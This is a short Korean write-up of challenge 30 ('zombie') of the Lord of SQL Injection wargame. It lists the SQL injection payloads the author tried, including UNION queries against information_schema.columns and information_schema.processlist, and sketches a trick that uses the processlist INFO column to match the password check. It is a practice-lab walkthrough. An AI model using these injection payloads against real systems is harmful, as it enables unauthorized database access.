[Lord Of SQL Injection] 30번(information_schema.processlist : 컬럼 info는 입력한 쿼리가 기록 된다. )

일단 봤을 때는 preg_match에서 예외되는것도 딱히 거슬릴게 없다.
그래서 첫번째로 ' or 1=1%23

음 안된다.
좀 더 자세히 알고 싶어서 이것도 해봤다.
' union all select group_concat(column_name) from information_schema.columns where table_schema='zombie' and table_name='prob_zombie'%23
테이블 이름 'prob_zombie' 이면서 DB이름이 'zombie'인 컬럼들을 조회

컬럼이 pw 밖에 없다.
컬럼 pw의 튜플 검색해본다.
' union all select pw from prob_zombie.zombie%23

' or 1=1%23 할때도 안되었으니까 뭐 안되겠죠 ㅠㅠ
pw가 비워있으니까
$result['pw] === $_GET['pw] 성립시키려면
내가 입력한 쿼리 $_GET['pw] 가 DB에 위치한 pw 컬럼 값하고 동일해야된다.

찾아보니까 information_schema.processlist 테이블의 info 컬럼에서
사용자가 입력한 쿼리가 저장되는걸 확인할 수 있었다.
그러면 substr(INFO,index,count) 활용해서
$result['pw] === $_GET['pw]
성립할 수 있겠습니다.
문제에 적용하기전에
문제에서의 information_schema.processlist를 확인해보겠습니다.
' union all select group_concat(ID, '%23%23%23', USER, '%23%23%23', HOST) from information_schema.processlist%23

1열 밖에 없습니다.
그러면 조건절 없이 그냥 적용시키면 되겠네요
